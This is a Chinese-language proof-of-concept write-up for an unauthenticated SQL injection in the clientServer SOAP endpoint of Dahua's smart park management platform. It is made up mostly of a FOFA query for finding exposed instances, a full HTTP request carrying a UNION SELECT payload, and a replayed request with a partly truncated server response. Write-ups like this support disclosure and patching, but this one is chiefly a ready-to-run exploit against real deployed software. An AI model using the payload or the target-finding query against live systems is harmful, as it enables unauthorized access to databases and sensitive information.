D2-2大华-智慧园区综合管理平台-SQL

漏洞描述：

由于大华智慧园区综合管理平台clientServer接口处未对用户的输入进行有效的过滤，直接将其拼接进了SQL查询语句中，导致系统出现SQL注入漏洞。远程未授权攻击者可利用此漏洞获取敏感信息，进一步利用可能获取目标系统权限。

网站图片：

网络测绘：

fofa语法：

FOFA：app="dahua-智慧园区综合管理平台"

漏洞复现：

payload：

```
POST /portal/services/clientServer HTTP/1.1
Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:cli="http://clientServer.webservice.dssc.dahua.com">
  <soapenv:Header/>
  <soapenv:Body>
  <cli:getGroupInfoListByGroupId>
    <!--type: string-->
      <arg0>-1) UNION ALL SELECT 1,2,3,4,version()-- -</arg0>
    <!--type: long-->
    <arg1>1</arg1>
    </cli:getGroupInfoListByGroupId>
    </soapenv:Body>
  </soapenv:Envelope>
```

效果图: 查询数据库版本


Request
数据包扫描
热加载
构造请求
POST /portal/services/clientServer HTTP/1.1
Host:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: text/xml;charset=UTF-8
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:cli="http://clientServer.webservice.dssc.dahua.com">
<soapenv:Header/>
<soapenv:Body>
<cli:getGroupInfoListByGroupId>
<!--type: string-->
<arg0>-1) UNION ALL SELECT 1,2,3,4,version()--</arg0>
<!--type: long-->
<arg1>1</arg1>
</cli:getGroupInfoListByGroupId>
</soapenv:Body>
</soapenv:Envelope>
Responses
https
434bytes / 85ms
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 12 Mar 2024 17:43:19 GMT
Content-Type: text/xml;charset=UTF-8
Connection: keep-alive
Content-Length: 434
<soap:Envelope xmlns:soap="http://schemas
"><soap:Body><ns2:getGroupInfoListByGroup
webservice.dssc.dahua.com"><result>{"id":
"grouptype":2,"groupname":"3",
"deviceCount":0,"channelCount":0}]},"resu
ns2:getGroupInfoListByGroupIdResponse></s